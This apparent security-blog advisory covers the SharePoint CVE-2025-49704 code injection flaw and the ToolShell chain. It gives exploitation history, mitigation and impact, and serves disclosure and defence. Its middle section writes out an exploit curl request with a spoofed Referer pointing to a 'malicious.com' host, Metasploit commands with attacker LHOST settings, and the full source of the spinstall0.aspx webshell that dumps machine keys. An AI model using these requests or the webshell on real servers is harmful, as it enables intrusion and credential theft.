Listen to this Post
Improper control of generation of code (‘code injection’) in Microsoft Office SharePoint allows an authorized attacker to execute code over a network. The vulnerability is classified under CWE-94 (Improper Control of Generation of Code) and carries a CVSS 3.1 base score of 8.8 (HIGH) with the vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C. An authenticated attacker with at least Site Owner privileges can exploit this flaw by submitting malicious WebPart markup to the ToolPane functionality, causing the ExcelDataSet control to deserialize attacker-controlled data and enabling arbitrary method execution on the server. The vulnerable endpoint is /_layouts/15/ToolPane.aspx, which processes attacker-controlled WebPart XML without adequate validation. The issue affects on-premises SharePoint Server Subscription Edition, SharePoint Server 2019, and SharePoint Enterprise Server 2016; SharePoint Online is not affected. Affected versions include SharePoint Enterprise Server 2016 prior to 16.0.5508.1000 and SharePoint Server 2019 prior to 16.0.10417.20027.
This vulnerability was chained with CVE-2025-49706 (an authentication bypass) and later bypassed by CVE-2025-53770 to form the ToolShell exploit chain, enabling unauthenticated remote code execution. Attackers manipulate the HTTP Referer header (notably /_layouts/SignOut.aspx) to defeat authentication checks on the ToolPane page, then deliver a malicious POST request containing a serialized .NET DataSet object that triggers code execution. Post-exploitation activity includes deployment of a webshell named spinstall0.aspx into the LAYOUTS directory, which reads ASP.NET machineKey material (ValidationKey and DecryptionKey) directly from the web.config file. With these cryptographic keys, attackers can forge VIEWSTATE payloads trusted by the application, achieving persistent access even after patching. The vulnerability has been actively exploited in the wild since July 7, 2025, with initial patches found to be ineffective, requiring further updates in July 2025. CISA added CVE-2025-49704 to its Known Exploited Vulnerabilities catalog on July 22, 2025, with a required remediation due date of July 23, 2025.
DailyCVE Form:
Platform: SharePoint Server
Version: 2016/2019/SE
Vulnerability: Code Injection
Severity: High
date: 2025-07-08
Prediction: Patch available (2025-07-08)
What Undercode Say
Bash commands and codes related to the blog
Enumerate vulnerable SharePoint ToolPane endpoint
curl -sk -X POST ‘https://target/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx’ \
-H ‘Referer: /_layouts/SignOut.aspx’ \
-H ‘Content-Type: application/x-www-form-urlencoded’ \
–data-urlencode ‘MSOTlPn_Uri=https://malicious.com’ \
–data-urlencode ‘MSOTlPn_DWP=<Scorecard…’
Check for spinstall0.aspx webshell deployment (post-exploitation artifact)
curl -sk ‘https://target/_layouts/15/spinstall0.aspx’
favicon hash and keywords enumeration
curl -s https://target/_layouts/15/images/SharePointHome.png
curl -s https://target/_vti_bin/client.svc | file –
curl -s https://target/_layouts/15/init.js | grep -i “spPageContextInfo”
Version leakage check
curl -s https://target/_layouts/15/init.js | grep -oP ‘”Version”:”[^”]”‘
Exploit: (Educational Purposes!)
Metasploit module sharepoint_toolpane_rce.rb exploits authentication bypass (CVE-2025-49706/CVE-2025-53771) and unsafe deserialization (CVE-2025-49704) to achieve unauthenticated RCE against vulnerable SharePoint Server.
The module constructs a malicious serialized .NET DataSet object, compresses it, and embeds it in a crafted XML payload sent via a POST request to ‘/_layouts/15/ToolPane.aspx’.
Metasploit module usage (educational lab only) msf6 > use exploit/windows/http/sharepoint_toolpane_rce msf6 > set RHOSTS <target> msf6 > set LHOST <attacker_ip> msf6 > set LPORT 4444 msf6 > check msf6 > exploit
The spinstall0.aspx webshell payload extracts cryptographic keys:
<script runat="server" language="c" CODEPAGE="65001">
public void Page_load() {
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[bash]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
Protection: from this CVE
– Apply the latest Microsoft security updates for the deployed on-premises SharePoint Server version (July 2025 Patch Tuesday updates for CVE-2025-49704; emergency updates for CVE-2025-53770).
– Configure Antimalware Scan Interface (AMSI) integration in SharePoint; deploy Microsoft Defender Antivirus on all SharePoint servers.
– Rotate SharePoint ASP.NET machine keys using PowerShell cmdlets after patching:
Generate and deploy new machine keys for web application Set-SPMachineKey -WebApplication <SPWebApplicationPipeBind> Update-SPMachineKey -WebApplication <SPWebApplicationPipeBind> Restart IIS on all front-end web servers iisreset /noforce
– Restrict access to ToolPane.aspx and block external access to SharePoint Central Administration.
– Monitor for anomalous requests to SharePoint ToolPane functionality, suspicious webshell creation (spinstall0.aspx), and abnormal child processes originating from IIS worker processes.
– If AMSI cannot be enabled, disconnect the SharePoint server from the internet or strictly restrict access to trusted users and networks.
Impact
Successful exploitation allows an attacker to execute arbitrary code remotely in the SharePoint Server context, enabling deployment of webshells and malware, access to SharePoint content and configuration, theft of ASP.NET machine keys, persistence, credential theft, and lateral movement. The vulnerability has been exploited in ransomware-associated intrusions, including activity attributed to Storm-2603 and Chinese state-linked hackers, impacting US agencies including the Department of Homeland Security (DHS). Approximately 24.9K services are found to be vulnerable yearly, with widespread targeting across government, healthcare, education, and enterprise sectors globally.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
